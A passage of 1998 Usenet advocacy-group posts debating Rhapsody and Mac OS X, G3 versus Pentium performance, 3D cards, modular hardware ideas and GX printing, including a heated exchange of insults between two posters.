a new _platform_, maybe I should just move to windows."
MacOS 8 -> MacOS X is an upgrade.
"Upgrade" is not as traumatic sounding as "migration"
--
sal@panix.com
Salvatore Denaro
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 03:34:04 GMT
Organization: Digital Fix Development
Message-ID: <6mcm7c$23d$1@news.digifix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <6mbros$d7p$1@ecuador.it.earthlink.net>
In-Reply-To: <6mbros$d7p$1@ecuador.it.earthlink.net>
On 06/18/98, "Ziya Oz" wrote:
>don@misckit.com (Don Yacktman) wrote:
>
>>When you move from one version to the next, some features get
dropped, some
>>get added. Is that too hard to understand?
>
>The ability of an OS to run on a different platform is not some
"feature" for
>goodness sake! Rhapsody was promoted as an x-platform solution.
Actually, YB was promoted as an x-platform solution.
Still is.
>MacOS X does not
>have this itsy bitsy "feature" and in my book it makes it an issue
"slightly
>bigger" than whether one "version" has 32x32 as oppesed to 64x64
pixel icons.
>
>If next year MacOS stopped working on, say, notebooks, especially
those who had
>PowerBooks wouldn't call it the same OS, would they?
Sounds like you're now claiming that when Mac OS X is released
that Rhapsody will stop functioning.. Not true..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 03:36:45 GMT
Organization: Digital Fix Development
Message-ID: <6mcmcd$23e$1@news.digifix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com>
In-Reply-To: <slrn6oih6d.k93.sal@panix3.panix.com>
On 06/18/98, Salvatore Denaro wrote:
>On 18 Jun 1998 06:49:05 GMT, Don Yacktman <don@misckit.com> wrote:
>>> That answer was clear, concise, direct and totally useless.
>>Ummm, actually it is very useful. I've heard tell from people who
would know
>>that:
>>
>>Mac OS X == Rhapsody 2.0
>
>But that isn't what he said. No one at Apple is willing to come out
and just
>state "MacOSX is Rhapsody with the following changes..."
>
>Just saying this would kill 75% to 90% of the MacOSX FUD.
>
Yes, and it would send the Mac OS minions into spinning into a
rage.
Not saying that _IS_ marketing.
>>> >Ummm... All new artwork on the box. A different label on the
CD. A
>>> >whole different marketing campaign.
>
>Mike is dancing around the words. That's what makes this quote
useless for
>killing FUD. And the only way to kill the FUD is for Apple to just
state
>"MacOSX is Rhapsody with the following changes..." Untill they do
that we'll
>have to respond to tons of posts about how MacOSX won't be Unix, or
won't
>be able to be a server or won't have a CLI.
>
Be prepared to keep doing just that. The Mac faithful are a
fickle bunch, and they don't want to hear that.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
Date: Thu, 18 Jun 1998 21:40:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806982140420001@elk120.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu>
In article <6mc6hc$obq$2@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Jason S. (jason@jhste1.dyn.ml.org) wrote:
> : David T. Wang posted the following to comp.sys.mac.advocacy:
>
> : >Also irrelevent. Photoshop is mixed with integer,floating point, MMX
> : >code. The numbers above are SPECfp95, posted to specifically refute
> : >that one assertion.
>
> : Isn't SPECfp95 heavily dependent on memory bandwidth for data sets far
> : larger than 512K? In that case, keep in mind that the IBM test boxes
> : had the older MPC105 chipset (like the 43P, IIRC), while the Apple
> : Gossamer boards use the newer MPC106. Whether this has an impact,
> : I don't know, but the Gossamers beat the older PCI PMacs in STREAM,
> : for example (not sure what chipset they use, but the 9500 is probably
> : comparable to a 43P).
>
> The 9500's only had a 50 MHz memory bus. most all of the newer generation
> systems with 66 MHz memory bus would beat it handily. The IBM machine
> used for the *estimate* had a 66 MHz memory bus. I seriously doubt that
> the difference in the chipset could be used to validate the statement
> that the PPC750 can easily beat the Pentium II in floating point operations.
Of course, you neglect the fact that the G3 was optimized for MacOS. That
makes any scores on Unix irrelevant.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: ax386@chebucto.ns.ca (Bob Ashley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 19 Jun 1998 05:02:48 GMT
Organization: Chebucto Community Net
Message-ID: <6mcrdo$af$1@News.Dal.Ca>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m7gri$lbs$2@news.xmission.com>
Don Yacktman (don@misckit.com) wrote:
: jrudd@cygnus.com (John Rudd) wrote:
: > However, in a sense, the robust quality of the Macintosh is a
: > thorn to Apple. Many of their traditional user base are a lost
: > revenue to Apple precisely because the machines are quite capable
: > of remaining useful for years to come.
: > [...]
<snip>
: It seems like a large percentage of Mac owners are people who have fewer
: requirements for their machines. They got it for, say, basic word
: processing. (ie, Often they are running not-very-demanding apps that work
: just fine on the lowest of low end hardware--low end by today's standards,
: that is.) It works, so why bother upgrading? If it does what you want and
: doesn't leave you wanting or needing anything more, what incentive is there
: for an upgrade?
You've described my situation to a 't' in your theory. I've had my Mac
IIsi since new (late 80s?). You took the words right out of my mouth, "It
works, so why bother upgrading?" I use Word 5, Excel 4, and I surf the net
on a piece of plywood called "Lynx", a text-based browser. I gather that
what you're saying is that there are millions just like me.
: Anyway, while there are certainly Mac "power users" out there, who will
: upgrade rapidly to have the fastest machine (to drive Photoshop, etc.), that
: doesn't seem to be a majority. Many Mac people, in general, seem happy with
: what they have.
That's me.
: There's also a rather amusing conundrum here: some of the fiercest Mac
: advocates, the ones who will _never_ under any circumstance admit that the
: holy Macintosh could possibly have a flaw, are also some of the quickest to
: upgrade. If it didn't have any flaws, why did you upgrade? How exactly does
: this upgrade improve upon perfection? :-) [Most of us, of course, have
: realized long ago that nothing is perfect, especially when it comes to
: computers...]
: --
Don, thanks for some intriguing insights. Too, I don't feel so bad, like
I'm some sort of Neandertal of computing. Will my machine ever wear out?
In all the years I've had it, I've not had a single problem. Oh but wait,
there were 16 times I flogged ash/koolaid/beer/ and various other
condiments into my keboard. The damn thing could only withstand 300 or so
such spills before I had to replace it. Even then it was only a couple a
keys sticking.
In 2001 I plan to start thinking about "going color". Perhaps by 2010 I
might have it!
Retrodegradingly,
Bob Ashley
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 04:09:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ojp4c.plc.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mcmcd$23e$1@news.digifix.com>
On 19 Jun 1998 03:36:45 GMT, Scott Anguish <sanguish@digifix.com> wrote:
>On 06/18/98, Salvatore Denaro wrote:
>>>Mac OS X == Rhapsody 2.0
>>But that isn't what he said. No one at Apple is willing to come out
>>and just state "MacOSX is Rhapsody with the following changes..."
>>Just saying this would kill 75% to 90% of the MacOSX FUD.
> Yes, and it would send the Mac OS minions into spinning into a
>rage.
> Not saying that _IS_ marketing.
Fair enough. Let them think that it is just "an upgrade" and not "a
migration"
But what do I tell my boss? It will be much easier to sell WO on NT
than to sell it on MacOSX or Rhaptel. Heck, NT servers are poping up
like mushrooms after a summer rain around here.
--
sal@panix.com
Salvatore Denaro
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 04:11:52 GMT
Organization: I don't think so
Message-ID: <slrn6ojpfk.58o.jason@jhste1.dyn.ml.org>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <slrn6oja2k.3c0.jason@jhste1.dyn.ml.org> <6mcetr$vbe$1@hecate.umd.edu>
David T. Wang posted the following to comp.sys.mac.advocacy:
>1. Wouldn't you expect a machine with a 66 MHz memory bus would beat a
>machine with a 50 MHz bus in STREAM?
Not necessarily, if the machine with the 50 MHz bus had interleaved
memory, and the machine with the 66 MHz bus didn't.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: 3D card in iMac cartidge!!! (Was Re: Games and the consumer market.
Message-ID: <forrestDELETE-THIS!-1806982212230001@term2-13.vta.west.net>
References: <35896c04.0@news.depaul.edu> <B1AF07E7-28EC6@206.165.43.108>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 19 Jun 1998 05:18:31 GMT
NNTP-Posting-Date: Thu, 18 Jun 1998 22:18:31 PDT
In article <B1AF07E7-28EC6@206.165.43.108>, "Lawson English"
<english@primenet.com> wrote:
> RIGHT ARM!
>
> Seriously. That's a leadership.com suggestion for iMac if I ever heard one.
>
> Everyone should start pushing for this. They might even listen.
>
> >Actually, they should put it in a Nintendo-style cartridge, externally
> >accessible. They'd need some way to lock it in place when the machine
> >is on, or else make sure that it can be removed without destroying
> >the machine.
Doesn't anyone remember my suggestion ages back for a modular computer? (I
think the thread was "The Future of Computing" or some such). It was
basically the above, but taken further. *Every* internal component would
be like a cartridge, which could just be a drive or a card in a little
plastic casing, and the "computer" would just be a chassis and bus (and in
an AIO design like the iMac, a monitor, speakers, and mic, and sometime in
the future maybe a camera too). Open one side of the chassis (or side out
a little tray like the iMac does), click in some cartridges into open
plugs on the walls inside the chassis (the cartridge would go in maybe an
inch, or even less. Basically just a wide port, like older SCSI plugs). A
chassis the side of Apple's lastest desktops (7x00, G3 Desktop) could hold
about six of them, which would usually be motherboard (processor in a ZIF
socket, basic I/O, basic AV), a better media card (video/3D/sound) for
those who want or need it, a drive or two, maybe a compatibility card, and
a free slot. You wouldn't have to design a new expansion system for this,
just have cases similar to the IDE->Parallel cases, where you can put an
internal device into an external case.
To go even further, you could have the cases all clip onto eachother and
have a bus connection running through those clips, so you would basically
buy all the components you wanted, clip them together, and viola. One of
them would have to be a power supply, and all the ports could be on the
motherboard part (probably just have USB, Firewire, and AV I/Os). So, you
could go down to your local CompUNIVERSE, and say "My kid wants to play
games." The clerk goes off and grabs a generic power supply and
motherboard, a good 2D/3D/hi-fi-sound card, and a decent drive system, and
clips them all together to make a device about 1x1x0.5 (in feet). Then
monitor and speakers, keyboard, mouse, and probably some game controllers
(joystick, pedals, etc). When the kid grows up, or if one of the parents
decides to use it as, say, a graphics workstation, you could easilly swap
the drive for some FireWire or RAID system. Or anything else of the sort.
Infinite expandability.
I'd buy one.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 18 Jun 1998 17:57:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AF0570-1FA72@206.165.43.108>
References: <6mb67f$r26$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AE980F-1D9CD@206.165.43.66> "Lawson English" claimed:
>> > No, there's one that's faster than either. GG5 IIRC, right near the
>> front.
>>
>> Unfortunately, I don't have GG5.
>
> Actually it's volume 1, page 101.
I thought that it might be that one, but you said GG5.
That one IS faster than Bresenham's generic algorithm (and the faster
variations mentions would obviously be faster still). However, it still
isn't as fast as special-casing horizontal, vertical and 45-degree lines
because you already know the slope for these and hence the required x & y
increments. The only test that you need make is that you have drawn the
proper number of pixels. If the double/quadruple/octuple strategy makes
sense, you just incorporate it into your special-case code.
My original intent was to suggest that the simpler quadratic Beziers would
allow for better optimizations than the more complex cubic Beziers, thereby
making them a better fit for something like QuickTime. I haven't seen the
1985 TOG article, but I'm willing to bet that you could special case it to
handle the quadratics faster than the cubics, just as you could special
case ANY generic algorithm to handle simpler cases faster than the more
complex cases.
In fact, I bet you'd have to look awful hard to find an example of an
algorithm where you CAN'T special-case the general case, no matter how
optimized, to make it even faster for specific cases.
This may not be a tautology, but it's pretty close to one:
simpler cases are easier/faster to work with than generic cases.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Message-ID: <1998061903184700.XAA27593@ladder01.news.aol.com>
Date: 19 Jun 1998 03:18:47 GMT
Organization: AOL http://www.aol.com
References: <B1ADF774-CB41@206.165.43.47>
Find me a service bureau which will accept Ready-Set-Go-GX files, or a source
for the Manhattan Graphics specific printer description files for imagesetters.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 18 Jun 1998 17:09:39 -0700
Message-ID: <see-below-1806981709390001@dynamic23.pm07.mv.best.com>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66> <6mb5tf$r26$1@ns3.vrx.net>
In article <6mb5tf$r26$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <B1AE9C85-2E635@206.165.43.66> "Lawson English" claimed:
> > Apple should use the "personality card" concept to provide upgradeable 3D
> > acceleration cards. These would be dealer-upgardeable. This would allow
> > iMac users to start out with a base system and upgrade it as needed.
>
> The problem with this approach is that some of the parts, like the Voodoo,
> don't work that way - it's my biggest complaint with the Voodoo in fact. It
> basically does a "bluescreen" onto the current signal from the 2D display,
> something I find to be rather odius.
Actually, it just physically switches the signal from the 2D input to its
own 3D output. You could still have your 2D and 3D on separate displays.
(on Quake, for instance, I think it gives you a std out window, which will
display an error message if it crashes, and you can still switch to the
finder and other applications. I think you can do this now on one monitor
with the 2d/3d Swap extension.)
> On a PC it means you have a cable from
> the 2D card to the 3D card, then another to the monitor. Uggg. Interfacing
> such a beast via a card-only solution is a problem.
Yes, this is true. But it's about the only way I can think of for a
3D-only card, without sending all the video data back over the PCI bus
again, twice. (once from the 3Dfx card, then again back into the 2D card)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 18 Jun 1998 17:12:14 -0700
Message-ID: <see-below-1806981712150001@dynamic23.pm07.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <6map2e$hpd$1@ns3.vrx.net> <slrn6oig8c.k93.sal@panix3.panix.com> <358950FB.9DE6D1B7@nstar.net>
In article <358950FB.9DE6D1B7@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Salvatore Denaro wrote:
> >
> > On 18 Jun 1998 10:10:22 GMT, Maury Markowitz
<maury@remove_this.istar.ca> wrote:
> > > Apple would be well off to include a Voodoo RAGE chip, but these are
> > >expensive parts. A RIVA is an excellent second, because it has
> > >3D-in-a-window which the normal Voodoo lacks.
> >
> > Would the Voodoo RAGE fit in an ATI RAGE PRO pinout?
>
> Maury means Voodoo Rush, and the Rage Pro will outperform the Rush
> chipset.
Yes, I don't see a big advantage in going to 3Dfx Voodoo Rush. It might
perform a little better than ATI Rage Pro in Quake, but I think is slower
for other (Direct3D) games, and I don't know if its 2D is all that great.
For a low-cost 2D/3D solution, I think Rage Pro is still pretty good.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: WebObjects spin-off rumor
Date: 18 Jun 98 22:40:25
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun18224025@slave.doubleu.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com>
<6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
<6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com>
<6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com>
<6m8k50$5mq$2@ironhorse.plsys.co.uk>
<6ma6gv$akr$1@argentina.it.earthlink.net>
In-reply-to: "Ziya Oz"'s message of Thu, 18 Jun 1998 00:58:02 -0400
In article <6ma6gv$akr$1@argentina.it.earthlink.net>,
"Ziya Oz" <ziyaoz@earthlink.net> writes:
For those who have had a hard time realizing the insignificance of
the $2M/quarter profit value of the enterprise-focused WebOjects to
the $4Billion/year newly consumer-centric Apple, enjoy the latest
from Mac the Knife:
"Word to your mother: Apple seems to be suffering similar maternity
pains this month, at least judging from the latest rumors of
forthcoming software spin-offs. For starters, reports are emanating
from the Mother Ship of a possible extrusion of WebObjects, the
hot-'n'-hunky object-oriented Web development tool Apple acquired
along with NeXT. The jury is reportedly out on whether to sell off
the technology or launch WebObjects Inc. with an IPO."
I know! I know! Spin it off, then suck it back in and kill it!
Actually, it does somewhat make sense, just as the Lucent spin-off
made sense. I'm not clear why they would even consider selling off
the technology (presumably Apple uses it itself?), nor am I clear why
they would do an IPO rather than just distribute 1 WOI share for every
100 AAPL shares.
[Of course, they could be letting the intern manage things, again],
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 15 Jun 98 15:17:23
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun15151723@slave.doubleu.com>
References: <357C11AF.D1BF8149@technologist.com> <SCOTT.98Jun10093531@slave.doubleu.com>
<35805722.853FAC1E@wildfire.com>
<SCOTT.98Jun11165121@slave.doubleu.com> <6lrsen$235@netaxs.com>
In-reply-to: russotto@wanda.pond.com's message of 12 Jun 1998 18:36:07 GMT
In article <6lrsen$235@netaxs.com>,
russotto@wanda.pond.com (Matthew T. Russotto) writes:
In article <SCOTT.98Jun11165121@slave.doubleu.com>,
Scott Hess <scott@doubleu.com> wrote:
}Better yet would be to put a receiver chip into the appliances,
}and then allow for a short-range transmitter to transmit the time.
}I'm thinking something that you could purchase yourself. _That_
}might or might not be more elaborate, perhaps using GPS or
}shortwave or NTP or an atomic clock to aquire a decent timebase.
This is kind of overkill for a clock, isn't it?
That's exactly what my original response was aiming at - people are
making a big deal about how in the future chipfull networkfull world
we'll be able to synchronize our fridge with our pantry with our menu
for the next week, and they'll automatically send off a shopping list
to the grocery store. We'll pick up (or have delivered) our groceries
and things will be so much nicer.
I think the fact that we have to manually set these clocks is a potent
argument about whether and when some of this stuff will happen. I
fully expect almost anything that needs a clock to have something
self-setting built-in within a decade - but people are talking about
"smart homes" and "smart cars" and the like as if they're right around
the corner. They aren't,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Fri, 19 Jun 1998 01:25:51 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1daujf2.1rlcu5c19nxwN@pppsl844.chicagonet.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net> <3589146a.189273@news.tiac.net>
NNTP-Posting-Date: 19 Jun 1998 06:26:35 GMT
David Field <dfield@tiac.net> wrote:
> On Thu, 18 Jun 1998 02:51:17 -0600, ethorne@chicagonet.net (Edwin E.
> Thorne) wrote:
>
> >Steve Sullivan <macghod@concentric.net> wrote:
> >
> >> > No, brand is not an issue because there is no loyalty in the PC world.
> >> > But then why should there be? It's the same crappy computer design no
> >> > matter who sells you the PC.
> >>
> >> Yeah, Openstep users think pc's are absolute shit. Uh huh. Sure Edwin.
> >> I am crossposting your insanely brilliant observation to their newsgroup
> >> Edwin, so they can hear your inspiring words and throw their pc's in the
> >> trash, and promptly go to store.apple.com and order a g3 with macos 8!!
> >> Come on Openstep users, you heard Edwin, throw away your pc's and buy a g3
> >> running os 8!!!
> >
> >You must really love my name, as you can't seem to say it enough.
> >Why don't you explain why you bought a G3 Mac instead of a PC, Steve?
> >
> >You forgot to put your new signature line at the bottom of this post.
> >Here's Steve Sullivan's new signature:
> >--
> >Posted on a g3 233 desktop running os 8.1.
> >So many pedestrians, so little time!
> >
> >
> >My opinions don't change with the wind.
>
> Actually, they don't seem to change with the facts, either.
David, you wouldn't know a fact if it kicked you in the ass.
>
> >The Macintosh running the Mac
> >OS is the best computing choice available.
> >
> >Edwin
> >------------------------------------------------
> >Created on an Apple Macintosh Performa 6400/180
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: "Edwin E. Thorne" <ethorne@chicagonet.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Check this out, the P2 beats the G3....
Date: Thu, 18 Jun 1998 23:29:20 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <6mcpgh$osd$1@news6.ispnews.com>
References: <3569a6d3.0@news.velocity.net>
<rpvb3-2505981051200001@ip218.seattle10.wa.pub-ip.psi.net>
<MPG.fd38db311b0f7e29896d3@news.interport.net>
<cirby-2505981703370001@pm58-47.magicnet.net>
<MPG.fd3ba5b4fe1209f9896d5@news.interport.net>
<joe.ragosta-2605980748140001@wil131.dol.net>
<6lrhgo$hun$1@nnrp1.dejanews.com>
<cirby-1206981840480001@pm51-31.magicnet.net>
<6lst4j$t5b$1@nnrp1.dejanews.com>
<joe.ragosta-1306980659330001@elk66.dol.net>
<6lu6n5$flm$1@nnrp1.dejanews.com>
<joe.ragosta-1306981330270001@elk64.dol.net>
<6lvo55$opc$1@nnrp1.dejanews.com>
<macghod-1406980039070001@sdn-ar-001casbarp256.dialsprint.net>
<1dassd1.1i9pf7frzyhwcN@pppsl518.chicagonet.net>
<macghod-1806980148490001@sdn-ar-001casbarp295.dialsprint.net>
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 19 Jun 1998 04:30:09 GMT
----------
In article <macghod-1806980148490001@sdn-ar-001casbarp295.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>In article <1dassd1.1i9pf7frzyhwcN@pppsl518.chicagonet.net>,
>ethorne@chicagonet.net (Edwin E. Thorne) wrote:
>
>> Steve Sullivan <macghod@concentric.net> wrote:
>>
>> > > I believe you were the first person to say anything about VM. I never
>> > > said a word about VM until you told me I was wrong about VM. Yes that
>> > > indefinable Mac user ability to see things that aren't there.(Or
maybe
>> > > just a need for a remedial reading course)
>> >
>> > Hmmm, that reminds me, I am still waiting for Edwin to "show me the
light"
>> > concerning macs. Back from his "macghod still hasnt seen the light
yet"
>> > post.
>>
>> I've done my best Steve. But there are none so blind as he who will
>> not see.
>
>So in other words you know you are full of shit.
That statement is true for you, not myself.
>You can search dejanews
>till eternity and you will not find a post by me saying how great windows
>95 is. On numerous occasions I have said what a rock solid os Openstep
>4.2 is.
So what? When did I say that you advocated Windows? I objected to your PC
advocacy on csma, not to using Openstep on the Mac. That rubber band in
your head must be almost completely wound down.
>And it is, its much much much much much much better than the macos.
>Putting it in terms you can understand, think how much better the macos is
>than windows 95. Now times that by 10 and thats how much better openstep
>on a pc is than macos.
I don't need any condescending terms from you, MacClod. Once again, stop
puking out your PC advertisement, you hypocrite.
>
>Ya know, your posts contain absolutely no content.
You are a liar.
>You call people names,
>but you never give content. When I post, I try to use facts.
You're a liar and a hypocritic. Your so called "facts" are nothing but Mac
bashing FUD.
Edwin
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Thu, 18 Jun 1998 23:32:47 -0500
Organization: (none)
Message-ID: <jdoherty-1806982332470001@aus-tx27-09.ix.netcom.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706980222270001@dapple.tormenta.com> <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706981131060001@dapple.tormenta.com>
In article <j-jahnke-1706981131060001@dapple.tormenta.com>,
j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
| In article <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com>,
| jdoherty@ix.netcom.com (John Doherty) wrote:
|
| > | I just print stuff out at work on a duplex printer
| >
| > That is without a doubt the best way to get what you want to do done.
| > Didn't I point that out a couple of years ago?
|
| Yup, before I had a duplex printer at work. And while I still needed
| documents printed.
I still don't have a duplex printer, and I'll bet I have to get more
pages printed a day than you do.
As I see it, the problems here are:
- Apple never bothered to produce a usable print driver that can
print even and odd pages separately. I don't know why not.
- Apple did produce GX print drivers that offered that ability, but
those drivers had lots of other problems that made them unusable for
other reasons. Generally, these other problems outweighed the added
features that GX drivers offered.
- Apple never produced print drivers that could make good advantage
of printer-specific features (e.g., duplexing).
I agree that these things are problems, but they aren't problems
